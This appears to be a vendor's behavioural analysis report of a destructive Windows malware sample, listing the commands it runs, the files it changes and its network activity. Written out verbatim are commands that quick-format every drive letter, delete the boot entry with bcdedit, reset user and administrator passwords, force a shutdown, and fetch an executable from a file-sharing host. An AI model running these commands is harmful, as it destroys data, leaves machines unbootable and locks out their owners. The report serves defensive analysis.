Technical Information
Malicious functions:
Creates and executes the following:
- '<SYSTEM32>\bcdedit.exe' /delete {current} /f
- '<SYSTEM32>\bcdedit.exe' (downloaded from the Internet)
Executes the following:
- '<SYSTEM32>\cmd.exe' /c echo Y|format K: /Q
- '<SYSTEM32>\format.com' E: /Q
- '<SYSTEM32>\cmd.exe' /c shutdown -f -s -t 0
- '<SYSTEM32>\cmd.exe' /c echo Y|format Z: /Q
- '<SYSTEM32>\cmd.exe' /c echo Y|format H: /Q
- '<SYSTEM32>\cmd.exe' /c echo Y|format G: /Q
- '<SYSTEM32>\cmd.exe' /c echo Y|format J: /Q
- '<SYSTEM32>\cmd.exe' /c echo Y|format I: /Q
- '<SYSTEM32>\format.com' J: /Q
- '<SYSTEM32>\format.com' K: /Q
- '<SYSTEM32>\format.com' Z: /Q
- '<SYSTEM32>\format.com' H: /Q
- '<SYSTEM32>\format.com' G: /Q
- '<SYSTEM32>\format.com' F: /Q
- '<SYSTEM32>\format.com' I: /Q
- '<SYSTEM32>\shutdown.exe' -f -s -t 0
- '<SYSTEM32>\net1.exe' user %USERNAME% 95942695032379260468514104943082022030676612901
- '<SYSTEM32>\net.exe' user administrator 95942695032379260468514104943082022030676612901
- '<SYSTEM32>\cmd.exe' /c tskill ntoskrnl
- '<SYSTEM32>\net.exe' user %USERNAME% 95942695032379260468514104943082022030676612901
- '<SYSTEM32>\cmd.exe' /c echo Y|format C: /Q
- '<SYSTEM32>\cmd.exe' /c net user %username% %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%
- '<SYSTEM32>\notepad.exe'
- '<SYSTEM32>\cmd.exe' /c bcdedit /delete {current} /f
- '<SYSTEM32>\cmd.exe' /c net user administrator %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%
- '<SYSTEM32>\net1.exe' user administrator 95942695032379260468514104943082022030676612901
- '<SYSTEM32>\cmd.exe' /c echo Y|format E: /Q
- '<SYSTEM32>\cmd.exe' /c echo Y|format F: /Q
- '<SYSTEM32>\format.com' D: /Q
- '<SYSTEM32>\tskill.exe' ntoskrnl
- '<SYSTEM32>\cmd.exe' /c echo Y|format D: /Q
- '<SYSTEM32>\format.com' C: /Q
- '<SYSTEM32>\cmd.exe' /S /D /c" echo Y"
Injects code into
the following system processes:
- <SYSTEM32>\notepad.exe
Attempts to shut down the Windows operating system.
Modifies file system:
Creates the following files:
- <SYSTEM32>\bcdedit.exe
- %TEMP%\~DF5C16.tmp
Deletes the following files:
- %TEMP%\~DF5C16.tmp
Deletes itself.
Network activity:
Connects to:
- 'dl.##opbox.com':80
TCP:
HTTP GET requests:
- http://dl.##opbox.com/s/ffdydsi7x9x1veq/bcdedit.exe.mui
- http://dl.##opbox.com/s/3gbezgrt0pjamh9/bcdedit.exe
UDP:
- DNS ASK dl.##opbox.com
